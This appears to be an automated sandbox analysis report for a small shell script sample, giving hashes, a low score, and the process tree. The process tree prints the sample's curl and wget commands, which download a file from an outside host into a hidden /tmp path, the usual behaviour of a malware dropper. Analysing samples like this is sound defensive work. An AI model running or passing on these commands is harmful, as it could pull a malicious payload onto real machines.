6e90179c02b4766ffdc7bab877419b05c9a7465e7f01dd1c6795a763522cfd79

Analysis

max time kernel
6s
max time network
8s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
27/10/2026, 00:52

Target
6e90179c02b4766ffdc7bab877419b05c9a7465e7f01dd1c6795a763522cfd79.sh
Size 551B
Sample261027-a72e2azygx
SHA256 6e90179c02b4766ffdc7bab877419b05c9a7465e7f01dd1c6795a763522cfd79
MD5 926dff075e55855e4eff5d008d395393
SHA1 34038dcfb11fa1be331bca5ad7478ab5d10adbc3
SHA512 dc73827deac9d5c04c04e99df92d04ff2ad4cb1b0d402a979f6a5687930e14bb63fe675dfd7f6caa4dbaaef339ae9c9231b5b49d8852abc1614b12d8a94bad64
TLSH
T1B8F08BD4DAB69533E2092A0CBE89A584FC978CB54B732AB5B480CB8670785013116EE6
MD5 SHA1 SHA512 TLSH

Score

3^/10

discovery

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.cache_	wget
File opened for modification	/tmp/.d4944b0746013e8d	wget

/tmp/6e90179c02b4766ffdc7bab877419b05c9a7465e7f01dd1c6795a763522cfd79.sh
/tmp/6e90179c02b4766ffdc7bab877419b05c9a7465e7f01dd1c6795a763522cfd79.sh
1⤵
PID:713
- /bin/uname
  uname -m
  2⤵
  PID:715
- /usr/bin/curl
  curl -fsL -m180 https://cdn.876553.xyz/Q1fc8a9OCb7AsC6f/dl/5b5ca3cb-434f-4492-a0f7-11c0b2e0f358 -o /tmp/.cache_
  2⤵
  - Reads runtime system information
  PID:719
- /usr/bin/wget
  wget -q -O /tmp/.cache_ https://cdn.876553.xyz/Q1fc8a9OCb7AsC6f/dl/5b5ca3cb-434f-4492-a0f7-11c0b2e0f358
  2⤵
  - Writes file to tmp directory
  PID:718